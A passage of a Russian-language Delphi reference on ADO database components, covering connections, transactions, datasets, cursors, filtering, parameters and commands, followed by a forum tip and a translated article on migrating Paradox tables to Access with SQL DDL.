eoAsyncFetchNonBlocking — команда получает необходимые записи также асинхронно, но при этом созданная нить не блокируется;
eoExecuteNoRecords — команда не должна возвращать записи.
Если источник данных принял команду для выполнения и сообщил об этом соединению, вызывается метод-обработчик

TWillExecuteEvent = procedure(Connection: TADOConnection;
  var CommandText: WideString; var CursorType: TCursorType; var LockType:
  TADOLockType; var ExecuteOptions: TExecuteOptions;  var EventStatus:
  TEventStatus; const Command: _Command;
  const Recordset: _Recordset) of object;

property OnWillExecute: TWillExecuteEvent;

После выполнения команды вызывается метод-обработчик

TExecuteCompleteEvent = procedure(Connection: TADOConnection; RecordsAffected: Integer; const Error: Error; var EventStatus: TEventStatus;
const Command: _Command; const Recordset: _Recordset) of object;

property OnExecuteComplete: TExecuteCompleteEvent;

Объект ошибок ADO

Все ошибки времени выполнения, возникающие при открытом соединении, сохраняются в специальном объекте ADO, инкапсулирующем коллекцию сообщений об ошибках. Доступ к объекту возможен через свойство

property Errors: Errors;

Транзакции

Компонент TADOconnection позволяет выполнять транзакции. Методы

function BeginTrans: Integer;
procedure CommitTrans;
procedure RollbackTrans;

обеспечивают начало, фиксацию и откат транзакции соответственно. Методы-обработчики

TBeginTransCompleteEvent = procedure(Connection: TADOConnection;
TransactionLevel: Integer;
const Error: Error; var EventStatus: TEventStatus) of object;

property OnBeginTransComplete: TBeginTransCompleteEvent; TConnectErrorEvent = procedure(Connection: TADOConnection; Error: Error; var EventStatus: TEventStatus) of object;

property OnCornmitTransComplete: TConnectErrorEvent;

вызываются после начала и фиксации транзакции. Свойство

type TIsolationLevel = (ilUnspecified, ilChaos, ilReadUncommitted, ilBrowse, ilCursorStability, ilReadCorranitted, ilRepeatableRead, ilSerializable, illsolated);

property IsolationLevel: TIsolationLevel;

позволяет задать уровень изоляции транзакции:

IlUnspecifed — уровень изоляции не задается;

Ilichaos — изменения более защищенных транзакций не перезаписываются данной транзакцией;

IlReadUncommitted — незафиксированные изменения других транзакций видимы;

IlBrowse — незафиксированные изменения других транзакций видимы;

IlCursorStability — изменения других транзакций видимы только после фиксации;

IlReadCommitted — изменения других транзакций видимы только после фиксации;

IlRepeatableRead — изменения других транзакций не видимы, но доступны при обновлении данных;

ISerializable — транзакция выполняется изолированно от других транзакций;

Ilisolated — транзакция выполняется изолированно от других транзакций.

Свойство

TXactAttribute = (xaCommitRetaining, xaAbortRetaining); property Attributes: TXactAttributes;

задает способ управления транзакциями при их фиксации и откате:

xaCommitRetaining — после фиксации очередной транзакции автоматически начинается выполнение новой;
xaAbortRetaining — после отката очередной транзакции автоматически начинается выполнение новой.


Наборы данных ADO

На странице ADO Палитры компонентов Delphi, кроме компонентов соединения есть стандартные компоненты, инкапсулирующие набор данных и адаптированные для работы с хранилищем данных ADO (рис. 19.7). Это компоненты:

TADODataSet — универсальный набор данных;
TАDOтаblе — таблица БД;
TADOQuery — запрос SQL;
TADOstoredProc — хранимая процедура.

Как и положено для компонентов, инкапсулирующих набор данных, их общим предком является класс TDataSet, предоставляющий базовые функции управления набором данных

Компоненты ADO обладают обычным набором свойств и методов, а необходимый для доступа к данным через ADO механизм наследуют от своего общего предка — класса TCustomADODataSet. Кроме этого, класс TCustomADODataSet содержит ряд общих для всех потомков свойств и методов, рассмотреть которые будет очень полезно. Поэтому сначала мы изучим класс TCustomADODataSet и только потом перейдем к компонентам ADO.


TCustomADODataSet

Класс TCustomADODataSet инкапсулирует механизм доступа к хранилищу данных через ADO. Этот класс наполняет абстрактные методы общего предка TDataSet функциями конкретного механизма доступа к данным.

Поэтому здесь мы рассмотрим только уникальные свойства и методы класса TCustomADODataSet, обеспечивающие работу с ADO.

Соединение набора данных с хранилищем данных ADO осуществляется через компонент TADOConnection (свойство connection) или путем задания параметров соединения через свойство connectionstring

Набор данных

Перед открытием набора данных необходимо установить тип используемой при редактировании записей блокировки. Для этого применяется свойство

type TADOLockType = (ItUnspecified, ItReadOnly, ItPessimistic, ItOptimistic, ItBatchOptimistic); property LockType: TADOLockType;

ItUnspecified — блокировка задается источником данных, а не компонентом;

ItReadOnly — набор данных откроется в режиме только для чтения;

ItPessimistic — редактируемая запись блокируется на все время редактирования до момента сохранения в хранилище данных;

ItOptimistic — запись блокируется только на время сохранения изменений в хранилище данных;

ItBatchOptimistic — запись блокируется на время сохранения в хранилище данных при вызове метода updateBatch.

Примечание

Для того чтобы установка блокировки сработала, свойство LockType должно быть обязательно модифицировано до открытия набора данных.

Набор данных открывается методом Open и закрывается методом close. Также можно использовать свойство

property Active: Boolean;

Текущее состояние набора данных можно определить свойством

type
  TObjectState = (stClosed, stOpen, stConnecting, stExecuting, stretching);
  TObjectStates = set of TObjectState;

property RecordsetState: TObjectStates;

Набор данных в компонентах ADO основан на использовании объекта набора записей ADO, прямой доступ к этому объекту возможен при помощи свойства

property Recordset: _Recordset;

Но поскольку все основные методы интерфейсов объекта набора записей ADO перекрыты методами класса, в обычных случаях прямой доступ к объекту вам не понадобится. После обновления набора данных вызывается метод-обработчик

TRecordsetEvent = procedure(DataSet: TCustomADODataSet; const Error: Error;
  var EventStatus: TEventStatus) of object; property OnFetchComplete:   TRecordsetEvent;

где Error — ссылка на объект ошибки ADO, если она возникла.

Если же набор данных работает в асинхронном режиме, при обновлении вызывается метод-обработчик

TFetchProgressEvent = procedure(DataSet: TCustomADODataSet; Progress, MaxProgress: Integer; var EventStatus: TEventStatus) of object;

property OnFetchProgress: TFetchProgressEvent;

где параметр Progress показывает долю выполнения операции.

Курсор набора данных

Для набора данных ADO в зависимости от его назначения можно выбрать тип и местоположение используемого курсора. Местоположение курсора задается свойством

type TCursorLocation = (clUseServer, clUseClient); property CursorLocation: TCursorLocation;

Курсор может находиться на сервере (CIUseServer) или на клиенте (CIUseClient).

Серверный курсор используется при работе с большими наборами данных, которые нецелесообразно пересылать клиенту целиком. При этом несколько снижается скорость работы клиентского набора данных.
Клиентский курсор обеспечивает передачу набора данных клиенту. Это положительно сказывается на быстродействии, но такой курсор разумно использовать только для небольших наборов данных, не загружающих канал связи с сервером.
При использовании клиентского курсора необходимо дополнительно установить свойство

TMarshalOption = (moMarshalAll, moMarshalModifiedOnly);
property MarshalOptions: TmarshalOption

которое управляет обменом данных клиента с сервером. Если соединение с сервером быстрое, можно использовать значение moMarshalAll, разрешающее возврат серверу всех записей набора данных. В противном случае для ускорения работы компонента можно применить свойство moMarshalModifiedOnly, обеспечивающее возврат только модифицированных клиентом записей.

Тип курсора определяется свойством

TCursorType = (ctUnspecified, CtOpenForwardOnly, ctKeyset, ctDynamic, ctStatic);
property CursorType: TCursorType;

ctunspecified — курсор не задан, тип курсора определяется возможностями источника данных;

ctOpenForwardOnly — однонаправленный курсор, допускающий перемещение только вперед; используется при необходимости быстрого одиночного прохода по всем записям набора данных;

ctKeyset — двунаправленный локальный курсор, не обеспечивающий просмотр добавленных и удаленных другими пользователями записей;

ctDynamic — двунаправленный курсор, отображает все изменения, требует наибольших затрат ресурсов;

ctStatic — двунаправленный курсор, полностью игнорирует изменения, внесенные другими пользователями.

Примечание

Если курсор расположен на клиенте (CursorType = ciusedient), то для него доступен только один тип — ctStatic.

Соответственно до и после каждого перемещения курсора в наборе данных вызываются методы - обработчики:

TRecordsetReasonEvent = procedure(DataSet: TCustomADODataSet;
  const Reason: TEventReason;
  var EventStatus: TEventStatus) of object;

property OnWillMove: TRecordsetReasonEvent;

и

TPRecordsetErrorEvent = procedure(DataSet: TCustomADODataSet; const --eason: TEventReason; const Error: Error; var EventStatus: TEventStatus) if object;

property OnMoveComplete: TRecordsetErrorEvent;

где параметр Reason позволяет узнать, какой метод вызвал это перемещение.

Локальный буфер

После передачи клиенту записи набора данных размещаются в локальном буфере, размер которого определяется свойством

property CacheSize: Integer;

Значение свойства есть число записей, помещаемых в локальный буфер, и оно не может быть меньше 1. Очевидно, что при достаточно большом размере буфера компонент будет обращаться к источнику данных не так часто, но при этом большой буфер заметно замедлит открытие набора данных. Кроме этого, при выборе размера локального буфера необходимо учитывать доступную компоненту память. Это можно сделать путем несложных вычислений:

CacheSizelnMem := ADODataSet.CacheSize * ADODataSet.RecordSize;

где RecordSize — свойство

property RecordSize: Word;

возвращающее размер одной записи в байтах.

Как видите, компоненты ADO не избежали общей проблемы клиентских данных — при плохом качестве соединения работа приложения замедляется. Однако кое-что все-таки сделать можно. Если при навигации по записям вам не требуется отображать данные в визуальных компонентах пользовательского интерфейса, свойство property BlockReadSize: Integer;

позволяет организовать блочную пересылку данных. Оно задает число записей, помещаемых в один блок. При этом набор данных переходит в состояние dsBlockRead. По умолчанию блочная пересылка не используется и значение свойства равно 0. Также можно ограничить максимальный размер набора данных. Свойство

property MaxRecords: Integer

задает максимальное число записей набора данных. По умолчанию свойство имеет значение 0 и набор данных не ограничен.

Общее число записей набора данных на этот момент возвращает свойство только для чтения

property RecordCount: Integer;

При достижении последней записи набора данных вызывается метод-обработчик

TEndOfRecordsetEvent = procedure (DataSet: TCustomADODataSet; var MoreData: WordBool; var EventStatus: TEventStatus) of object;

property OnEndOfRecordset: TEndOfRecordsetEvent;

При этом параметр MoreData показывает, действительно ли достигнут конец набора данных. Если MoreData = True, то это означает, что в хранилище данных еще имеются записи, не переданные клиенту.

Состояние записи

Класс TCustomADODataSet обладает дополнительными возможностями, которые позволяют отслеживать состояние каждой записи.

Для текущей записи набора данных можно определить ее состояние. Для этого предназначено свойство

TRecordStatus = (rsOK, rsNew, rsModified, rsDeleted, rsUnmodified, rslnvalid, rsMultipleChanges, rsPendingChanges, rsCanceled, rsCantRelease, rsConcurrencyViolation, rsIntegrityViolation, rsMaxChangesExceeded, rsObjectOpen, rsOutOfMemory, rsPermissionDenied, rsSchemaViolation, rsDBDeleted);
property RecordStatus: TRecordStatusSet;

где
rsOK — запись успешно сохранена;
rsNew — запись добавлена;
rsModified — запись была изменена;
rsDeleted — запись удалена;
rsUnmodified — запись без изменений;
rslnvalid — запись не может быть сохранена из-за неверной закладки;
rsMultipleChanges — запись не может быть сохранена из-за множественных изменений;
rsPendingChanges — запись не может быть сохранена из-за ссылки на несохраненные изменения;
rsCanceled — операция с записью была отменена;
rsCantRelease — запись заблокирована;
rsConcurrencyViolation — запись не может быть сохранена из-за типа блокировки;
rsintegrityvioiation — нарушена ссылочная целостность;
rsMaxChangesExceeded — слишком много изменений;
rsObjectOpen — конфликт с объектом базы данных;
rsoutofMemory — недостаток памяти,
rsPermissionDenied — нет доступа;
rsSchemaViolation — нарушение структуры данных;
rsDBDeleted — запись удалена в БД.

Как видите, благодаря этому свойству состояние отдельной записи может быть определено очень точно.

Кроме этого, метод

type

TUpdateStatus = (usUnmodified, usModifled, uslnserted, usDeleted);
function UpdateStatus: TUpdateStatus; override;

возвращает информацию о состоянии текущей записи.

Соответственно до и после изменения записи вызываются методы-обработчики

TWillChangeRecordEvent = procedure(DataSet: TCustomADODataSet; const Reason: TEventReason;  const RecordCount: Integer; var EventStatus: TEventStatus) of object;

property OnWillChangeRecord: TWillChangeRecordEvent;

И

TRecordChangeCompleteEvent = procedure(DataSet: TCustomADODataSet; const Reason: TEventReason; const RecordCount: Integer; const Error: Error;
var EventStatus: TEventStatus) of object;

property OnRecordChangeComplete: TrecordChangeCompleteEvent;

где параметр Reason позволяет узнать, какой метод изменил записи, а параметр RecordCount возвращает число измененных записей.

Фильтрация

Помимо обычной фильтрации , основанной на свойствах Filter, Filtered и методе-обработчике onFilterRecord, класс TCustomADODataSet предоставляет разработчику дополнительные возможности.

Свойство

TFilterGroup = (fgUnassigned, fgNone, fgPendingRecords, fgAffectedRecords, fgFetchedRecords, fgPredicate, fgConflictingRecords);

property FilterGroup: TFilterGroup;

задает групповой фильтр для записей, основываясь на информации о состоянии каждой записи набора данных, подобно рассмотренному выше свойству RecordStatus.

Фильтрация возможна по следующим параметрам:

fgUnassigned.— фильтр не задан;
fgNone — все ограничения, заданные фильтром, снимаются, отображаются все записи набора данных;
fgPendingRecords — отображаются измененные записи, несохраненные в хранилище данных при вызове метода updateBatch или cancelBatch;
fgAffectedRecords — показываются записи, обработанные при последнем сохранении в хранилище данных;
fgFetchedRecords — имеем записи, полученные при последнем обновлении из источника данных;
fgPredicate — видны только удаленные записи;
fgConfiictingRecords — отображаются модифицированные записи, при сохранении которых в хранилище данных возникла ошибка.
Для того чтобы групповая фильтрация заработала, необходимы два дополнительных условия. Во-первых, фильтрация должна быть включена — свойство Filtered должно иметь Значение True.

Во- вторых , свойство LockType должно иметь значение ItBatchOptimistic.

with ADODataSet do
  begin
    Close;
    LockType := ItbatchOptimistic;
    Filtered := True;
    FilterGroup := fgFetchedRecords;
    Open;
  end;

Метод

procedure FilterOnBookmarks(Bookmarks: array of const);

включает фильтрацию по существующим закладкам. Для этого предварительно необходимо при помощи метода GetBookmark установить закладки на интересующих записях. При вызове метода FilterOnBookmarks автоматически очищается свойство Filter, а свойству FilterGroup присваивается значение gUnassigned.

Поиск

Быстрый и гибкий поиск по полям текущего индекса набора данных обеспечивает метод

SeekOption = (soFirstEQ, soLastEQ, soAfterEQ, soAfter, soBeforeEQ, soBefore);

function Seek(const KeyValues: Variant; SeekOption: TSeekOption = soFirstEQ): Boolean;

В параметре KeyValues должны быть перечислены необходимые значения полей индекса. Параметр SeekOption управляет процессом поиска:

soFirstEQ — курсор устанавливается на первую найденную запись;
soLastEQ — курсор устанавливается на последнюю найденную запись;
soAfterEQ — курсор устанавливается на найденную запись или, если запись не найдена, сразу после того места, где она могла находиться;
soAfter — курсор устанавливается сразу после найденной записи;
soBeforeEQ — курсор устанавливается на найденную запись или, если запись не найдена, перед тем местом, где она могла находиться;
soBefore — курсор устанавливается перед найденной записью.

Свойство

property Sort: WideString;

предоставляет простой способ сортировки по произвольному сочетанию полей. Оно должно включать через запятую имена нужных полей и признак прямого или обратного порядка сортировки:

ADODataSet.Sort := 'FirstField DESC';

Если порядок сортировки не указан, по умолчанию задается прямой порядок.

Команда ADO

Для выполнения запросов к источнику данных любой компонент ADO инкапсулирует специальный объект команды ADO.

При использовании компонентов-потомков класса TCustomADODataSet обычно нет необходимости применять объект команды напрямую. И хотя все реальное взаимодействие объекта набора данных ADO с источником данных осуществляется через объект команды, настройка и выполнение команды скрыты в свойствах и методах компонентов ADO. Тем не менее в классе TCustomADODataSet доступ к объекту команды можно получить при помощи свойства

property Command: TADOCommand;

При необходимости выполнить команду ADO, не связанную с конкретным набором данных, разработчик может использовать отдельный компонент TADOCommand, также расположенный на странице ADO Палитры компонентов.

Тип команды задается свойством

type
  TCommandType = (cmdUnknown, cmdText, cmdTable, cmdStoredProc, cmdFile, cmdTableDirect);

 property CommandType: TCommandType;

cmdunknown — тип команды неизвестен и будет определен источником данных;

cmdText — текстовая команда, интерпретируемая источником данных (например запрос SQL); текст должен быть составлен с учетом правил для конкретного источника данных;

cmdTable — команда на получение набора данных таблицы из хранилища данных;

cmdstoredProc — команда на выполнение хранимой процедуры;

cmdFile — команда на получение набора данных, сохраненного в файле в формате, используемым конкретным источником данных;

cmdTableoirect — команда на получение набора данных таблицы напрямую, например из файла таблицы.

Текст команды, представленный свойством

property CommandText: WideString;

обязательно должен быть согласован с ее типом.

Для ограничения времени ожидания выполнения команды используется свойство

property CommandTimeout: Integer;

В компонентах наборов данных ADO команды выполняется при выполнении следующих операций:

· открытие и закрытие набора данных;
· выполнение запросов и хранимых процедур;
· обновление набора данных;
· сохранение изменений;
· групповые операции.
Разработчик может повлиять на способ выполнения команды. Для этого он может изменить свойство

type
  TExecuteOption = (eoAsyncExecute, eoAsyncFetch, eoAsyncFetchNonBlocking, eoExecuteNoRecords);

  TExecuteOptions = set of TExecuteOption;
property ExecuteOptions: TExecuteOptions;

eoAsyncExecute — асинхронное выполнение команды;

eoAsyncFetch — асинхронное выполнение команды на обновление набора данных;

eoAsyncFetchNonBlocking — асинхронное выполнение команды на обновление набора данных без установки блокировки;

eoExecuteNoRecords — выполнение команды не требует возвращения набора данных.

Групповые операции

Как уже рассказывалось выше, наборы данных ADO используют на клиентской стороне локальный кэш для хранения данных и сделанных изменений. Благодаря наличию этого кэша и появилась возможность реализовать групповые операции. В этом режиме все сделанные изменения не передаются немедленно источнику данных, а накапливаются в локальном кэше. Это повышает скорость работы и позволяет сохранять сразу группу модифицированных записей.

Из отрицательных сторон этого метода стоит отметить, что пока изменения находятся на клиенте, они недоступны другим пользователям. В данной ситуации могут возникать потери данных.

Для перевода набора данных в режим групповых операций необходимо выполнить следующие условия.

Набор данных должен использовать клиентский курсор:
ADODataSet.CursorLocation := clUseClient;

Курсор должен иметь тип ctstatic:
ADODataSet.CursorType := ctstatic;

Блокировка должна иметь значение itBatchoptimistic:
ADODataSet.LockType := ItBatchOptimistic;

Для передачи сделанных изменений в хранилище данных в компонентах ADO используется метод

procedure UpdateBatch(AffectRecords: TAffectRecords = arAll);

Для отмены всех сделанных, но не сохраненных методом UpdateBatch изменений применяется метод

procedure CancelBatch(AffectRecords: TAffectRecords = arAll);

Используемый в методах тип TAffectRecords позволяет задать тип записей, к которым применяется данная операция:

TAffectRecords = (arCurrent, arFiltered, arAll, arAHChapters);

arCurrent — операция выполняется только для текущей записи;

arFiltered — операция выполняется для записей из работающего фильтра;

arAll — операция выполняется для всех записей;

arAllchapters — операция выполняется для всех записей текущего набора данных (включая невидимые из-за включенного фильтра), а также для всех вложенных наборов данных.


Параметры

Параметры

Многие компоненты ADO, инкапсулирующие набор записей, должны обеспечивать применение параметров запросов. Для этого в них используется специальный класс TParameters.

Для каждого параметра из коллекции класса TParameters создается отдельный класс TParameter.

Этот класс является наследником класса коллекции TCollection и инкапсулирует индексированный список отдельных параметров (см. ниже). Напомним, что для работы с параметрами обычных запросов в компонентах запросов и хранимых процедур используется класс TParams (например в компонентах dbExpress), также происходящий от класса коллекции.

Методы этих двух классов совпадают, а свойства имеют некоторые отличия. Для представления параметров команд в ADO имеется специальный объект параметров, который активно используется в процессе работы компонентов АDO, инкапсулирующих набор данных.

Поэтому для компонентов ADO в VCL был создан собственный класс параметров.

Класс TParameters

Главное, для чего предназначен класс TParameters, — содержать список параметров. Индексированный список параметров представлен свойством property Items[Index: Integer]: TParameter; Текущие значения параметров можно получить из индексированного свойства

property ParamValues[const ParamName: String]: Variant;

При этом доступ к конкретному значению осуществляется по имени параметра:

Editl.Text := ADODataSet.Parameters.ParamValues['ParamOne'];

Список параметров можно обновлять при помощи методов

function AddParameter: TParameter;

и

function CreateParameter(const Name: WideString; DataType: TDataType;
Direction: TParameterDirection; Size: Integer; Value: OleVariant): TParameter;

Первый метод просто создает новый объект параметра и добавляет его к списку. Затем необходимо задать все свойства нового параметра:

var NewParam: TParameter;

NewParam := ADODataSet.Parameters.AddParameter;
NewParam.Name := 'ParamTwo';
NewParam.DataType := ftlnteger;
NewParam.Direction := pdlnput;
NewParam.Value := 0;

Метод CreateParameter создает новый параметр и определяет его свойства:

Name — имя параметра;
DataType — тип данных параметра, соответствующий типу поля таблицы БД (тип TFieldType);
Direction — тип параметра, в дополнение к стандартным типам dUnknown, pdlnput, pdOutput, pdlnputOutput,тип TParameterDirection имеет дополнительный тип pdReturnValue, определяющий любое возвращаемое значение;
size — максимальный размер значения параметра;
value — значение параметра.
При работе с параметрами полезно вызывать их, используя имена, а не абсолютные индексы в списке. Для этого можно использовать метод

function ParamByName(const Value: WideString): TParameter;

Список параметров всегда должен соответствовать запросу или хранимой процедуре. Для обновления списка используется метод

procedure Refresh;

Также вы можете создать список параметров для не связанного с данным объектом параметров запроса. Для этого используется метод

function ParseSQL(SQL: String; DoCreate: Boolean): String;

где DoCreate определяет, удалять ли перед анализом существующие параметры.

Класс TParameter

Класс TParameter инкапсулирует отдельный параметр. Имя параметра определяется свойством

property Name: WideString;

Тип данных, которому должно соответствовать его значение, задается свойством

TDataType = TFieldType;
property DataType: TDataType;

И так как параметры взаимодействуют с полями таблиц БД, то тип данных параметров совпадает с типами данных полей. От типа данных зависит размер параметра

property Size: Integer;

который может быть изменен для строкового или символьного типа данных и им подобных.

Само значение параметра содержится в свойстве

property Value: OleVariant;

А свойство

type

TParameterAttribute = (paSigned, paNullable, paLong);

TParameterAttributes = set of TParameterAttribute; property Attributes: TParameterAttributes;

контролирует значение, присваиваемое параметру:

paSigned — значение может быть символьным;
paNullable — значение параметра может быть пустым;
paLong — значение может содержать данные типа BLOB.
Тип параметра задается свойством

type TParameterDirection = (pdUnknown, pdlnput, pdOutput, pdlnputOutput, pdReturnValue);

property Direction: TParameterDirection;

pdUnknown — неизвестный тип, источник данных попытается определить его самостоятельно;

pdinput — входной параметр, используется в запросах и хранимых процедурах;

pdOutput — выходной параметр, используется в хранимых процедурах;

pdlnputOutput — входной и выходной параметр одновременно, используется в хранимых процедурах;

pdReturnValue — параметр для передачи значения.

Если параметр должен передавать большие бинарные массивы (например, изображения или файлы), то значение параметра можно загрузить, используя методы

procedure LoadFromFile(const FileName: String; DataType: TDataType);

И

procedure LoadFromStream(Stream: TStream; DataType: TDataType);


TADODataSet

Компонент TADODataSet

Компонент TADODataSet предназначен для представления набора данных из хранилища данных ADO. Он прост в использовании, имея только несколько собственных свойств и методов, и применяет функции своего предка —класса TCustomADODataSet.

Это единственный компонент ADO, инкапсулирующий набор данных, для которого опубликованы свойства, позволяющие управлять командой ADO. Это свойства (см. выше)

property CommandText: WideString;

И

property CommandType: TCommandType;

В результате компонент представляет собой гибкий инструмент, который позволяет (в зависимости от типа команды и ее текста) получать данные из таблиц, запросов SQL, хранимых процедур, файлов и т. д. Например, вы выбираете нужное значение свойства CommandType = cmdText и заносите в свойство CommandText текст запроса SQL из редактора:

ADODataSet,CommandType = cmdText;
ADODataSet. CommandText := Memol.Lines.Text;

И запрос SQL готов к выполнению.

Примечание

Для запросов SQL можно применять только язык Data Manipulation Language (использовать только SELECT).

Соединение с базой данных задается свойством Connectionstring или Connection (см. выше).

Набор данных открывается и закрывается свойством Active или методами Open и Close.

В приложениях компонент можно применять как все обычные компоненты доступа к данным, связывая инкапсулированный в нем набор данных с визуальными компонентами отображения данных через компонент TDataSource.


TADOTable

Компонент ТАDOTаblе обеспечивает использование в приложениях Delphi таблиц БД, подключенных через провайдеры OLE DB. По своим функциональным возможностям и применению он подобен стандартному табличному компоненту (см. гл. 11).

Как вы уже знаете, в основе компонента лежит использование команды ADO, но ее свойства настроены заранее и изменению не подлежат.

Имя таблицы БД задается свойством

property TableName: WideString;

Другие свойства и методы компонента обеспечивают применение индексов (этой возможности лишен любой компонент запроса).

Так как не все провайдеры ADO обеспечивают прямое использование таблиц БД, то для доступа к ним может понадобиться запрос SQL. Если свойство

property TableDirect: Boolean;

имеет значение True, осуществляется прямой доступ к таблице. В противном случае компонент генерирует соответствующий запрос.

Свойство

property Readonly: Boolean;

позволяет включить или отключить для таблицы режим "только для чтения".


TADOQuery

Компонент TADOQuery обеспечивает применение запросов SQL при работе с данными через ADO. По своей функциональности он подобен стандартному компоненту запроса (см. гл. 11).

Текст запроса задается свойством

property SQL: TStrings;

Параметры запроса определяются свойством

property Parameters: TParameters;

Если запрос должен возвращать набор данных, для его открытия используется свойство

property Active: Boolean;

или метод

procedure Open;

В противном случае достаточно использовать метод

function ExecSQL: Integer;

Число обработанных запросом записей возвращает свойство

property RowsAffected: Integer;


TADOStoredProc

Компонент TADOStoredProc позволяет использовать в приложениях Delphi, обращающихся к данным через ADO, хранимые процедуры. Он подобен стандартному компоненту хранимой процедуры (см. гл. Л).

Имя хранимой процедуры определяется свойством

property ProcedureName: WideString;

Для определения входных и выходных параметров используется свойство

property Parameters: TParameters;

Если процедура будет применяться без изменений многократно, имеет смысл заранее подготовить ее выполнение на сервере. Для этого свойству

property Prepared: Boolean;

присваивается значение True.


Команды ADO

Команде ADO, которой мы уделяли так много внимания в этой главе в VCL Delphi, соответствует компонент TADOCormand. Методы этого компонента во многом совпадают с методами класса TCustomADODataSet, хотя этот класс не является предком компонента. Он предназначен для выполнения команд, которые не возвращают наборы данных.

Так как компоненту TADOCommand нет необходимости обеспечивать работу набора записей, его непосредственным предком является класс TComponent. К его функциональности просто добавлен механизм соединения с БД через ADO и средства представления команды.

Команда передается в хранилище данных ADO через собственное соединение или через компонент TAOocormection, аналогично другим компонентам ADO (см. выше).

Текстовое представление выполняемой команды должно содержаться в свойстве

property CommandText: WideString;

Однако команду можно задать и другим способом. Прямая ссылка на нужный объект команды ADO может быть задана свойством

property CommandObject: _Command;

Тип команды определяется свойством

type TCommandType = (cmdUnknown, cmdText, cmdTable, cmdStoredProc, cmdFile, cmdTableDirect);

property CommandType: TCommandType;

Так как тип TCommandType также используется в классе TCustomADODataSet, где необходимо представлять все возможные виды команд, по отношению к компоненту TADOcommand этот тип обладает избыточностью. Здесь нельзя установить значения cmdTable, cmdFile, cmdTableDirect, а тип cmdStoredProc должен обозначать только те хранимые процедуры, которые не возвращают набор данных.

Если команда должна содержать текст запроса SQL, свойство CommandType должно иметь значение cmdText.

Для вызова хранимой процедуры необходимо задать тип cmdStoredProc, a в свойстве CommandText ввести имя процедуры.

Если для выполнения команды необходимо задать параметры, используется свойство

property Parameters: TParameters;

Выполнение команды осуществляется методом Execute:

function Execute: _RecordSet; overload;
function Execute(const Parameters: OleVariant): _Recordset;overload;
function Execute(var RecordsAffected: Integer; var Parameters: OleVariant;    ExecuteOptions: TExecuteOptions = []): _RecordSet; overload;

Разработчик может использовать любую из представленных нотаций перегружаемого метода:

параметр RecordsAffected возвращает число обработанных записей;
параметр Parameters задает параметры команды;
параметр ExecuteOptions определяет условия выполнения команды:

TExecuteOption = (eoAsyncExecute, eoAsyncFetch, eoAsyncFetchNonBlocking, eoExecuteNoRecords);
TExecuteOptions = set of TExecuteOption;

eoAsyncExecute — асинхронное выполнение команды;

eoAsyncFetch — асинхронная передача данных;

eoAsyncFetchNonBlocking — асинхронная передача данных без блокирования потока;

eoExecuteNoRecords — если команда возвращает набор записей, то они не передаются в компонент.

При работе с компонентом TADOConnection желательно использовать опцию eoExecuteNoRecords.

Для прерывания выполнения команды используется метод

procedure Cancel;

Текущее состояние команды можно определить свойством

type

TObjectState = (stClosed, stOpen, stConnecting, stExecuting, stFetching);

TObjectStates = set of TObjectState; property States: TObjectStates;


Объект ошибок ADO

При рассказе о компонентах ADO в данной главе мы довольно часто упоминали об объектах ошибок ADO. Эти объекты содержат информацию об ошибке, возникшей при выполнении операции каким-либо объектом ADO.

В Delphi для объекта ошибки не предусмотрен специальный тип, но разработчик может использовать его методы интерфейса Error, предоставляемого многими методами других объектов ADO. Например, тип

TRecordsetEvent = procedure(DataSet: TCustomADODataSet; const Error: Error;
var EventStatus: TEventStatus) of object;

используемый для метода-обработчика, вызываемого после обновления набора данных, содержит параметр Error, дающий нам искомую ссылку.

Рассмотрим полезные свойства объекта ошибок ADO.

Свойство

property Description: WideString read Get_Description;

возвращает описание ошибки, переданное из объекта, в котором ошибка произошла.

Свойство

property SQLState: WideString read Get_SQLState;

содержит текст команды, вызвавшей ошибку. Свойство

property NativeError: Integer read Get_NativeError;

возвращает код ошибки, переданный из объекта, в котором ошибка произошла.


Как работать с ADO компонентами в DLL?

В оконных приложениях инициализацию COM берет на себя строка в файле проекта:

Application.Initialize;

А вот в DLL и консольных программах обэекта Application нет, и при попытке работать с любыми ActiveX, включая широко используемые ADO компоненты генерится ошибка, которую исправить очень просто: достаточно в секцию Uses в DPR файле добавить модуль oleauto

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Из Paradox в Access при помощи ADO

(Перевод одноимённой статьи с сайта delphi.about.com )

В данной статье мы обратим внимание на компонент TADOCommand и использование языка SQL DDL (Data Definition Language), с целью помочь Вам с проблемой переноса данных BDE/Paradox в ADO/Access.

Язык определения данных (Data Definition Language)
Не многие программисты создают базу данных программным путём, большинство из нас для этого используют некую визуальную среду наподобие MS Access для построения файла MDB. Но иногда нам всё таки приходится создавать и удалять базу данных, а так же объекты базы данных программным путём. Для этого используется наиболее распространённая на сегодняшний день технология Structured Query Language Data Definition Language (SQL DDL). Выраджения языка определения данных (DDL) - это SQL выражения, которые поддерживают определения или объявления объектов базы данных (например, CREATE TABLE, DROP TABLE, CREATE INDEX либо подобные им).
В рамки данной статьи не входит детальное ознакомление с языком DDL. Если Вы знакомы с языком SQL DML (Data Manipulation Language - это выражения типа SELECT, UPDATE и DELETE), то DDL не будет для Вас серьёзным барьером. Обратите внимание, что работа с DDL может быть весьма ухищрённой, так как каждый производитель базы данных може включать в неё собственные расширения для SQL.

Давайте взглянем на простейший пример выражения CREATE TABLE:

CREATE TABLE PhoneBook(
  Name TEXT(50)
  Tel TEXT(50)
);

Данное DDL выражение (для MS Access) в время выполнения создаст новую таблицу с названием PhoneBook. Таблица PhoneBook будет иметь два поля: Name и Tel. Оба поля имеют строковый тип (TEXT) и размер поля 50 символов.

TFieldDef.DataType
Очевидно, что в Access тип данных, представленный строкой это TEXT. В Paradox это STRING. Чтобы передать таблицы Paradox в Access, нам необходимо знать какие типы данных присутствуют и, соответственно их имена. При работе в BDE с таблицами Paradox, TFieldDef.DataType определяет тип физического поля в (dataset) таблице. Поэтому для успешного перенесения данных из таблиц Paradox в Access Вам необходимо создать функцию, которая бы преобразовывала соотвествующие типы полей Paradox в типы Access.
Давайте посмотрим на пример функции, которая проверяет тип поля (fd) и возвращает соответствующий тип Access, а заоодно и размер поля, который необходим для выражения CREATE TABLE DDL.

function AccessType(fd:TFieldDef):string;
begin
 case fd.DataType of
  ftString: Result:='TEXT('+IntToStr(fd.Size)+')';
  ftSmallint: Result:='SMALLINT';
  ftInteger: Result:='INTEGER';
  ftWord: Result:='WORD';
  ftBoolean: Result:='YESNO';
  ftFloat : Result:='FLOAT';
  ...
 else
  Result:='TEXT(50)';
 end;
end;

ADOX
